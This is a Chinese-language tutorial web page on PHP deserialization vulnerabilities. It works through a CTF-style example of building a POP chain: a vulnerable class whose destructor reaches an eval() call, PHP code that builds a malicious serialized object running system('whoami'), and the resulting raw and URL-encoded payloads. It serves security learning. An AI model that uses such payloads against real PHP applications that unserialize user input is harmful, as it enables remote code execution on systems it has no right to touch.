当前位置: 首页 > news >正文

PHP反序列化漏洞学习-POP链

成员属性存放对象!!
成员属性存放对象!!
成员属性存放对象!!

入门学习POP链,一般使用反推法

直接看例题
例1:橙子

<?php
class index {private $test;public function __construct(){$this->test = new normal();}public function __destruct(){$this->test->action();}
}
class normal {public function action(){echo "please attack me";}
}
class evil {var $test2;public function action(){eval($this->test2);}
}
unserialize($_GET['test']);
?>

想拿flag,首先找到evil代码执行,发现是由evil这个类action()这个方法,执行的是$test2传入的参数。

class evil {var $test2;public function action(){eval($this->test2);}
}

--继续往下看,找到实例化这个对象的代码,发现这里有调用action方法,不过也能看到这里test属性的值为normal的对象实例,执行的是normal的action方法,我们就要想办法把test的值替换成evil的对象实例,由此来调用evil中的action。

class index {private $test;public function __construct(){$this->test = new normal();}public function __destruct(){$this->test->action();}
}

--这里看到执行action的是__destruct魔术方法,代码中正好有反序列化,反序列化结束对象销毁后触发__destruct。所以我们接下来构造payload
(1)、将evil类的test2,传入我们想要执行的命令
(2)、将index类的test,变成new evil(),也就是实例化eval对象。

<?php
class index {private $test;public function __construct(){$this->test = new evil();}
}
class evil {var $test2="system('whoami')";
}
$a=serialize(new index());
echo $a;
echo urlencode($a);
?>
O:5:"index":1:{s:11:"%00index%00test";O:4:"evil":1:{s:5:"test2";s:16:"system('whoami')";}}
O%3A5%3A%22index%22%3A1%3A%7Bs%3A11%3A%22%00index%00test%22%3BO%3A4%3A%22evil%22%3A1%3A%7Bs%3A5%3A%22test2%22%3Bs%3A16%3A%22system%28%27whoami%27%29%22%3B%7D%7D

还有一种方法,外部构造,但是要注意这里是test是private,我们可以先当作public生成payload,然后手动修改

<?php
class index {public $test;
}
class evil {var $test2;
}
$a = new evil();
$a->test2 = "system('whoami')";
$b = new index();
$b->test = $a;
echo serialize($b);
echo urlencode(serialize($b));
?>
O:5:"index":1:{s:11:"%00index%00test";O:4:"evil":1:{s:5:"test2";s:16:"system('whoami')";}}
O%3A5%3A%22index%22%3A1%3A%7Bs%3A4%3A%22test%22%3BO%3A4%3A%22evil%22%3A1%3A%7Bs%3A5%3A%22test2%22%3Bs%3A16%3A%22system%28%27whoami%27%29%22%3B%7D%7D
http://www.sczhlp.com/news/12568/

相关文章:

  • pytest
  • Git创建本地远程仓和局域网远程仓
  • OI集训 Day30
  • 把时间当作朋友:知识获取的终极法则
  • Zephyr学习:3.DeviceTree学习
  • 如何让Typecho搭建的网站首页文章随机显示?各位大佬支支招!
  • 柯马弧焊机器人气流智能调节
  • IIS安装URL重写组件(URL Rewrite)
  • 13KB JavaScript太空射击游戏开发解析
  • 点分治与点分树 专题
  • 《白话机器学习的数学》-多项式回归与正则化
  • CatoiOS3.0权限系统设计
  • A,B,C计权声级测试说明
  • PostgreSQL技术大讲堂 - 第101讲:AI4DB--让AI生成SQL语句
  • 混合红蓝队训练实验室搭建指南:基于VirtualBox的网络安全实战环境
  • 走进SAP系统管理下的数字工厂:看制造企业如何推进车间精益生产?
  • 使用RDKStudio使用教程
  • COS MCP Server,打造 AI 时代的存储与处理智能枢纽
  • SpringBoot3集成Swagger
  • 关于APx500 软件测试音 频的参数设置及相应的步骤
  • qiankun微前端使用指南-总结
  • TF 上架流程全解析,跨平台团队如何用 TestFlight 实现上架 iOS App
  • 深黯Solution
  • Azkaban启用常见问题说明(启动报错)
  • 接入提供方的AI
  • 使用 MetaWeblog API 修改博客
  • Poste.io自建域名的邮箱本地化部署方案 - 明明就
  • vscode里退出github Copilot账号,切换github Copilot账号,completion quota用完了,显示100%,vscode不能自动补全
  • Grain用于读取和处理用于训练和评估 JAX 模型的数据
  • 华三-OSPF